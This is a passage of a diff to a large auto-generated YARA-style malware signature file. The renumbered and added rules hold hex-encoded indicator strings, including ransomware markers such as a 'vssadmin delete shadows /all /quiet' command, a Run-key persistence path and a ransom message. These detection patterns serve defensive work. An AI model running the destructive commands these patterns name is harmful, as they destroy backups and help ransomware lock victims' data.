00 2d 00 46 00 69 00 6c 00 65 00 01 00 56 2f 00 63 00 72 00 65 00 61 00 74 00 } //111 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*32+(#a_01_3 & 1)*112+(#a_01_4 & 1)*111) >=6 + +} +rule _InfrastructureShared_30433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -374513,7 +397411,7 @@ rule _InfrastructureShared_28676{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*-12046+(#a_01_2 & 1)*-10682) >=3 } -rule _InfrastructureShared_28677{ +rule _InfrastructureShared_30434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -374525,7 +397423,7 @@ rule _InfrastructureShared_28677{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*32+(#a_01_4 & 1)*46) >=5 } -rule _InfrastructureShared_28678{ +rule _InfrastructureShared_30435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 0f 00 21 " @@ -374544,7 +397442,7 @@ rule _InfrastructureShared_28678{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*11890+(#a_01_2 & 1)*11890+(#a_01_3 & 1)*116+(#a_01_4 & 1)*29761+(#a_01_7 & 1)*103+(#a_01_8 & 1)*105+(#a_01_10 & 1)*115+(#a_01_12 & 1)*2333+(#a_01_14 & 1)*69) >=15 } -rule _InfrastructureShared_28679{ +rule _InfrastructureShared_30436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -374559,7 +397457,7 @@ rule _InfrastructureShared_28679{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*70+(#a_01_2 & 1)*114+(#a_01_3 & 1)*10240+(#a_01_4 & 1)*83+(#a_01_6 & 1)*71) >=7 } -rule _InfrastructureShared_28680{ +rule _InfrastructureShared_30437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -374573,7 +397471,7 @@ rule _InfrastructureShared_28680{ ((#a_01_0 & 1)*18467+(#a_01_3 & 1)*86+(#a_01_4 & 1)*83+(#a_01_5 & 1)*18944+(#a_01_6 & 1)*1610) >=8 } -rule _InfrastructureShared_28681{ +rule _InfrastructureShared_30438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -374587,7 +397485,7 @@ rule _InfrastructureShared_28681{ ((#a_01_0 & 1)*21283+(#a_01_3 & 1)*79+(#a_01_5 & 1)*117+(#a_01_6 & 1)*24931+(#a_01_7 & 1)*17503) >=8 } -rule _InfrastructureShared_28682{ +rule _InfrastructureShared_30439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -374599,7 +397497,7 @@ rule _InfrastructureShared_28682{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*120+(#a_01_3 & 1)*102) >=3 } -rule _InfrastructureShared_28683{ +rule _InfrastructureShared_30440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,13 00 13 00 13 00 21 " @@ -374623,7 +397521,7 @@ rule _InfrastructureShared_28683{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*97+(#a_01_3 & 1)*108+(#a_01_4 & 1)*28783+(#a_01_5 & 1)*26994+(#a_01_7 & 1)*116+(#a_01_8 & 1)*102+(#a_01_10 & 1)*67+(#a_01_12 & 1)*101+(#a_01_13 & 1)*26158+(#a_01_14 & 1)*29807+(#a_01_15 & 1)*17220+(#a_01_16 & 1)*25964+(#a_01_17 & 1)*28718+(#a_01_18 & 1)*8293) >=19 } -rule _InfrastructureShared_28684{ +rule _InfrastructureShared_30441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -374634,7 +397532,7 @@ rule _InfrastructureShared_28684{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*112) >=3 } -rule _InfrastructureShared_28685{ +rule _InfrastructureShared_30442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 11 00 21 " @@ -374657,7 +397555,7 @@ rule _InfrastructureShared_28685{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28789+(#a_01_2 & 1)*-11265+(#a_01_3 & 1)*29285+(#a_01_4 & 1)*30068+(#a_01_5 & 1)*24912+(#a_01_6 & 1)*25701+(#a_01_7 & 1)*28535+(#a_01_8 & 1)*20493+(#a_01_9 & 1)*16978+(#a_01_11 & 1)*32+(#a_01_13 & 1)*32+(#a_01_14 & 1)*116+(#a_01_15 & 1)*101) >=100 } -rule _InfrastructureShared_28686{ +rule _InfrastructureShared_30443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 0e 00 21 " @@ -374676,7 +397574,7 @@ rule _InfrastructureShared_28686{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29537+(#a_01_2 & 1)*20580+(#a_01_3 & 1)*29537+(#a_01_4 & 1)*25710+(#a_01_6 & 1)*32+(#a_01_8 & 1)*32+(#a_01_9 & 1)*116+(#a_01_10 & 1)*101+(#a_01_12 & 1)*115) >=14 } -rule _InfrastructureShared_28687{ +rule _InfrastructureShared_30444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -374689,7 +397587,7 @@ rule _InfrastructureShared_28687{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*32+(#a_01_4 & 1)*32+(#a_01_5 & 1)*101) >=7 } -rule _InfrastructureShared_28688{ +rule _InfrastructureShared_30445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 0b 00 21 " @@ -374707,7 +397605,7 @@ rule _InfrastructureShared_28688{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*19828+(#a_01_2 & 1)*25971+(#a_01_3 & 1)*28783+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0+(#a_01_7 & 1)*109+(#a_01_9 & 1)*105) >=7 } -rule _InfrastructureShared_28689{ +rule _InfrastructureShared_30446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 08 00 21 " @@ -374722,7 +397620,7 @@ rule _InfrastructureShared_28689{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*101+(#a_01_3 & 1)*45+(#a_01_4 & 1)*105+(#a_01_5 & 1)*11604+(#a_01_7 & 1)*9253) >=5 } -rule _InfrastructureShared_28690{ +rule _InfrastructureShared_30447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -374739,7 +397637,7 @@ rule _InfrastructureShared_28690{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*11573+(#a_01_3 & 1)*15406+(#a_01_4 & 1)*29797+(#a_01_5 & 1)*26977+(#a_01_6 & 1)*7+(#a_01_7 & 1)*21562+(#a_01_8 & 1)*56) >=11 } -rule _InfrastructureShared_28691{ +rule _InfrastructureShared_30448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -374753,7 +397651,7 @@ rule _InfrastructureShared_28691{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*70+(#a_01_3 & 1)*52+(#a_01_4 & 1)*48+(#a_01_5 & 1)*54) >=7 } -rule _InfrastructureShared_28692{ +rule _InfrastructureShared_30449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 08 00 21 " @@ -374770,7 +397668,7 @@ rule _InfrastructureShared_28692{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28527+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*0) >=13 } -rule _InfrastructureShared_28693{ +rule _InfrastructureShared_30450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 07 00 21 " @@ -374783,7 +397681,7 @@ rule _InfrastructureShared_28693{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*101+(#a_01_4 & 1)*107+(#a_01_6 & 1)*101) >=1 } -rule _InfrastructureShared_28694{ +rule _InfrastructureShared_30451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -374799,7 +397697,7 @@ rule _InfrastructureShared_28694{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29813+(#a_01_2 & 1)*111+(#a_01_4 & 1)*103+(#a_01_6 & 1)*44+(#a_01_7 & 1)*83+(#a_01_8 & 1)*114) >=9 } -rule _InfrastructureShared_28695{ +rule _InfrastructureShared_30452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -374812,7 +397710,7 @@ rule _InfrastructureShared_28695{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*32+(#a_01_3 & 1)*104+(#a_01_4 & 1)*111) >=5 } -rule _InfrastructureShared_28696{ +rule _InfrastructureShared_30453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -374829,7 +397727,7 @@ rule _InfrastructureShared_28696{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29285+(#a_01_2 & 1)*15205+(#a_01_3 & 1)*23610+(#a_01_4 & 1)*29806+(#a_01_5 & 1)*28515+(#a_01_6 & 1)*76+(#a_01_8 & 1)*108) >=10 } -rule _InfrastructureShared_28697{ +rule _InfrastructureShared_30454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 1a 00 21 " @@ -374860,7 +397758,7 @@ rule _InfrastructureShared_28697{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*107+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*0+(#a_01_19 & 1)*99+(#a_01_21 & 1)*32+(#a_01_24 & 1)*20510+(#a_01_25 & 1)*29285) >=8 } -rule _InfrastructureShared_28698{ +rule _InfrastructureShared_30455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 0d 00 21 " @@ -374870,15 +397768,31 @@ rule _InfrastructureShared_28698{ $a_01_3 = {00 69 00 6e 00 67 00 20 00 31 00 01 00 1e 5c 00 75 00 73 00 65 00 72 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 2e 00 6d 00 75 00 69 00 03 00 3e 74 00 61 00 6b 00 65 00 6f 00 77 00 6e 00 20 00 2f 00 66 00 20 00 22 00 25 00 73 00 5c 00 72 00 65 00 73 00 63 00 61 00 63 00 68 00 65 00 5c 00 2a 00 2e 00 2a 00 22 00 20 00 2f 00 72 00 01 } //103 $a_01_4 = {4f 53 54 20 2f 66 6f 72 75 6d 2f 6c 6f 67 69 6e 2e 63 67 69 20 48 54 54 50 2f 31 2e 31 01 00 2c 25 53 79 73 74 65 6d 52 6f 6f 74 25 5c 53 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 6e 65 74 73 76 63 73 01 00 15 53 } //7680 $a_01_5 = {65 72 3a 20 41 70 61 63 68 65 20 31 2e 33 2e 31 39 01 00 05 57 69 6e 39 35 01 00 07 4e 54 4c 4d 53 53 50 01 00 16 43 4f 4e 4e 45 43 54 20 25 73 3a 25 64 20 48 54 54 50 2f 31 2e 31 01 00 28 5c 00 73 00 79 00 73 00 70 00 72 00 65 00 70 00 5c 00 73 00 79 00 73 00 70 00 72 00 65 00 70 00 2e 00 65 00 78 00 65 00 01 00 14 53 00 65 00 72 00 76 00 69 00 63 00 } //29285 - $a_01_6 = {00 6c 00 6c 00 01 00 0a 6d 00 73 00 61 00 75 00 64 00 00 00 61 dc 01 00 05 00 05 00 04 00 21 23 41 70 70 3a 43 6f 69 6e 4d 69 6e 65 72 36 34 3a 4e 69 63 65 48 61 73 68 4d 69 6e 65 72 00 02 00 9a 4e 00 69 } //101 - $a_01_8 = {00 61 00 73 00 68 00 20 00 4d 00 69 00 6e 00 65 00 72 00 20 00 77 00 69 00 6c 00 6c 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 6d 00 69 00 6e 00 69 00 6e 00 67 00 20 00 69 00 6e 00 20 00 44 00 45 00 4d 00 4f 00 20 } //101 - $a_01_10 = {00 65 00 2e 00 20 00 49 00 6e 00 20 00 74 00 68 00 65 00 20 00 44 00 45 00 4d 00 4f 00 20 00 6d 00 6f 00 64 00 65 00 2c 00 20 00 79 00 6f 00 75 00 20 00 63 00 61 00 6e 00 20 00 74 00 65 00 73 00 74 00 02 00 2c 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 6e 00 } //111 - $a_01_11 = {00 77 00 73 00 2e 00 2e 00 2e 00 01 00 90 62 00 6c 00 6f 00 67 00 2f 00 70 00 6f 00 73 00 74 00 2f 00 68 00 6f 00 77 00 2d 00 74 00 6f 00 2d 00 61 00 64 00 64 00 2d 00 6e 00 69 00 63 00 65 00 68 00 61 00 73 00 68 00 2d 00 6d 00 69 00 6e 00 65 00 72 00 2d 00 66 00 6f 00 6c 00 64 00 65 00 72 00 2d 00 74 00 6f 00 2d 00 77 00 69 } //104 + $a_01_6 = {00 6c 00 6c 00 01 00 0a 6d 00 73 00 61 00 75 00 64 00 00 00 61 da 01 00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 57 61 6e 6e 61 53 63 72 65 61 6d 2e 4a 4c 4b 21 4d 54 42 00 } //101 + $a_01_7 = {44 00 61 00 72 00 6b 00 4e 00 65 00 74 00 20 00 52 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 00 } //2 DarkNet Ransomware + $a_01_8 = {2f 00 63 00 20 00 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 } //2 /c vssadmin.exe delete shadows /all /quiet + $a_01_9 = {64 00 61 00 72 00 6b 00 6e 00 65 00 74 00 6c 00 6f 00 63 00 6b 00 65 00 72 00 40 00 67 00 6d 00 61 00 69 00 6c 00 2e 00 63 00 6f 00 6d 00 } //2 darknetlocker@gmail.com + $a_01_10 = {5c 00 44 00 61 00 72 00 6b 00 4e 00 65 00 74 00 2d 00 44 00 65 00 63 00 72 00 79 00 70 00 74 00 2e 00 74 00 78 00 74 00 } //2 \DarkNet-Decrypt.txt + $a_01_11 = {53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //2 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + $a_01_12 = {41 00 6c 00 6c 00 20 00 79 00 6f 00 75 00 72 00 20 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 20 00 69 00 73 00 20 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 20 00 57 00 69 00 74 00 68 00 20 00 53 00 74 00 72 00 6f 00 6e 00 67 00 20 00 52 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 00 } //2 All your information is Encryption With Strong Ransomware condition: - ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*48+(#a_01_3 & 1)*103+(#a_01_4 & 1)*7680+(#a_01_5 & 1)*29285+(#a_01_6 & 1)*101+(#a_01_8 & 1)*101+(#a_01_10 & 1)*111+(#a_01_11 & 1)*104) >=6 + ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*48+(#a_01_3 & 1)*103+(#a_01_4 & 1)*7680+(#a_01_5 & 1)*29285+(#a_01_6 & 1)*101+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2+(#a_01_9 & 1)*2+(#a_01_10 & 1)*2+(#a_01_11 & 1)*2+(#a_01_12 & 1)*2) >=6 } -rule _InfrastructureShared_28699{ +rule _InfrastructureShared_30456{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 06 00 21 " + + strings : + $a_01_0 = {46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 57 61 6e 6e 61 53 63 72 65 61 6d 2e 4a 4c 4b 21 4d 54 42 00 02 00 24 44 00 61 00 72 00 6b 00 4e 00 65 00 74 00 20 00 52 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 00 02 00 54 } //16675 + $a_01_1 = {00 20 00 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 02 00 2e 64 00 61 00 72 00 6b 00 6e 00 65 00 74 00 6c } //47 + $a_01_3 = {00 65 00 72 00 40 00 67 00 6d 00 61 00 69 00 6c 00 2e 00 63 00 6f 00 6d 00 02 00 28 5c 00 44 00 61 00 72 00 6b 00 4e 00 65 00 74 00 2d 00 44 00 65 00 63 00 72 00 79 00 70 00 74 00 2e 00 74 00 78 00 74 00 02 00 5a 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 } //99 + $a_01_4 = {00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 02 00 72 41 00 6c 00 6c 00 20 00 79 00 6f 00 75 00 72 00 20 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 } //92 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*47+(#a_01_3 & 1)*99+(#a_01_4 & 1)*92) >=12 + +} +rule _InfrastructureShared_30457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -374890,7 +397804,7 @@ rule _InfrastructureShared_28699{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*111+(#a_01_3 & 1)*104) >=5 } -rule _InfrastructureShared_28700{ +rule _InfrastructureShared_30458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -374900,7 +397814,7 @@ rule _InfrastructureShared_28700{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_28701{ +rule _InfrastructureShared_30459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -374913,7 +397827,7 @@ rule _InfrastructureShared_28701{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*117+(#a_01_3 & 1)*101+(#a_01_5 & 1)*32) >=7 } -rule _InfrastructureShared_28702{ +rule _InfrastructureShared_30460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 0b 00 21 " @@ -374931,7 +397845,7 @@ rule _InfrastructureShared_28702{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*114+(#a_01_2 & 1)*27506+(#a_01_3 & 1)*16+(#a_01_4 & 1)*93+(#a_01_5 & 1)*90+(#a_01_6 & 1)*29554+(#a_01_8 & 1)*58+(#a_01_10 & 1)*58) >=4 } -rule _InfrastructureShared_28703{ +rule _InfrastructureShared_30461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 07 00 21 " @@ -374944,7 +397858,7 @@ rule _InfrastructureShared_28703{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*67+(#a_01_2 & 1)*68+(#a_01_5 & 1)*58) >=13 } -rule _InfrastructureShared_28704{ +rule _InfrastructureShared_30462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -374957,7 +397871,7 @@ rule _InfrastructureShared_28704{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*82+(#a_01_3 & 1)*114+(#a_01_4 & 1)*61) >=4 } -rule _InfrastructureShared_28705{ +rule _InfrastructureShared_30463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,68 00 68 00 06 00 21 " @@ -374970,7 +397884,7 @@ rule _InfrastructureShared_28705{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*105+(#a_01_3 & 1)*112+(#a_01_5 & 1)*97) >=104 } -rule _InfrastructureShared_28706{ +rule _InfrastructureShared_30464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,12 00 12 00 12 00 21 " @@ -374994,7 +397908,7 @@ rule _InfrastructureShared_28706{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26471+(#a_01_2 & 1)*27756+(#a_01_3 & 1)*26147+(#a_01_4 & 1)*24939+(#a_01_5 & 1)*29813+(#a_01_6 & 1)*71+(#a_01_7 & 1)*115+(#a_01_8 & 1)*116+(#a_01_9 & 1)*98+(#a_01_10 & 1)*28793+(#a_01_12 & 1)*32+(#a_01_13 & 1)*114+(#a_01_15 & 1)*99+(#a_01_17 & 1)*32) >=18 } -rule _InfrastructureShared_28707{ +rule _InfrastructureShared_30465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -375010,7 +397924,7 @@ rule _InfrastructureShared_28707{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*50+(#a_01_2 & 1)*85+(#a_01_4 & 1)*43+(#a_01_5 & 1)*89+(#a_01_6 & 1)*27507+(#a_01_7 & 1)*108) >=8 } -rule _InfrastructureShared_28708{ +rule _InfrastructureShared_30466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -375024,7 +397938,7 @@ rule _InfrastructureShared_28708{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*115+(#a_01_2 & 1)*101+(#a_01_3 & 1)*99+(#a_01_5 & 1)*32) >=6 } -rule _InfrastructureShared_28709{ +rule _InfrastructureShared_30467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 09 00 21 " @@ -375040,7 +397954,7 @@ rule _InfrastructureShared_28709{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*103+(#a_01_2 & 1)*101+(#a_01_4 & 1)*70+(#a_01_6 & 1)*77+(#a_01_7 & 1)*69+(#a_01_8 & 1)*95) >=7 } -rule _InfrastructureShared_28710{ +rule _InfrastructureShared_30468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -375052,7 +397966,7 @@ rule _InfrastructureShared_28710{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*65+(#a_01_3 & 1)*115) >=4 } -rule _InfrastructureShared_28711{ +rule _InfrastructureShared_30469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 18 00 21 " @@ -375079,7 +397993,7 @@ rule _InfrastructureShared_28711{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*19215+(#a_01_4 & 1)*20753+(#a_01_5 & 1)*17491+(#a_01_6 & 1)*17242+(#a_01_7 & 1)*29383+(#a_01_8 & 1)*32+(#a_01_10 & 1)*32+(#a_01_12 & 1)*32+(#a_01_14 & 1)*78+(#a_01_15 & 1)*16962+(#a_01_16 & 1)*13361+(#a_01_17 & 1)*17220+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*0) >=8 } -rule _InfrastructureShared_28712{ +rule _InfrastructureShared_30470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -375091,7 +398005,7 @@ rule _InfrastructureShared_28712{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*97+(#a_01_3 & 1)*116) >=3 } -rule _InfrastructureShared_28713{ +rule _InfrastructureShared_30471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 07 00 21 " @@ -375107,7 +398021,7 @@ rule _InfrastructureShared_28713{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*13878+(#a_01_2 & 1)*17200+(#a_01_3 & 1)*14644+(#a_01_4 & 1)*13122+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=1 } -rule _InfrastructureShared_28714{ +rule _InfrastructureShared_30472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -375119,7 +398033,7 @@ rule _InfrastructureShared_28714{ ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*84+(#a_01_4 & 1)*32) >=5 } -rule _InfrastructureShared_28715{ +rule _InfrastructureShared_30473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 11 00 21 " @@ -375144,7 +398058,7 @@ rule _InfrastructureShared_28715{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*0) >=6 } -rule _InfrastructureShared_28716{ +rule _InfrastructureShared_30474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -375161,7 +398075,7 @@ rule _InfrastructureShared_28716{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*65+(#a_01_2 & 1)*65+(#a_01_3 & 1)*65+(#a_01_4 & 1)*25970+(#a_01_5 & 1)*65+(#a_01_6 & 1)*65+(#a_01_8 & 1)*97) >=9 } -rule _InfrastructureShared_28717{ +rule _InfrastructureShared_30475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 07 00 21 " @@ -375176,7 +398090,7 @@ rule _InfrastructureShared_28717{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*85+(#a_01_3 & 1)*10+(#a_01_4 & 1)*5+(#a_01_5 & 1)*5+(#a_01_6 & 1)*0) >=30 } -rule _InfrastructureShared_28718{ +rule _InfrastructureShared_30476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -375187,7 +398101,7 @@ rule _InfrastructureShared_28718{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*80) >=3 } -rule _InfrastructureShared_28719{ +rule _InfrastructureShared_30477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -375200,7 +398114,7 @@ rule _InfrastructureShared_28719{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*93+(#a_01_3 & 1)*97+(#a_01_5 & 1)*73) >=4 } -rule _InfrastructureShared_28720{ +rule _InfrastructureShared_30478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,17 00 17 00 17 00 21 " @@ -375224,7 +398138,7 @@ rule _InfrastructureShared_28720{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*111+(#a_01_4 & 1)*73+(#a_01_5 & 1)*66+(#a_01_6 & 1)*86+(#a_01_10 & 1)*82+(#a_01_11 & 1)*22330+(#a_01_12 & 1)*14389+(#a_01_13 & 1)*8192+(#a_01_14 & 1)*6656+(#a_01_15 & 1)*25942+(#a_01_16 & 1)*24837+(#a_01_18 & 1)*67+(#a_01_21 & 1)*76+(#a_01_22 & 1)*1) >=23 } -rule _InfrastructureShared_28721{ +rule _InfrastructureShared_30479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,ffffffb0 04 ffffffb0 04 17 00 21 " @@ -375253,7 +398167,7 @@ rule _InfrastructureShared_28721{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13875+(#a_01_2 & 1)*13365+(#a_01_3 & 1)*25972+(#a_01_4 & 1)*21293+(#a_01_5 & 1)*29447+(#a_01_6 & 1)*865+(#a_01_8 & 1)*5+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*0+(#a_01_15 & 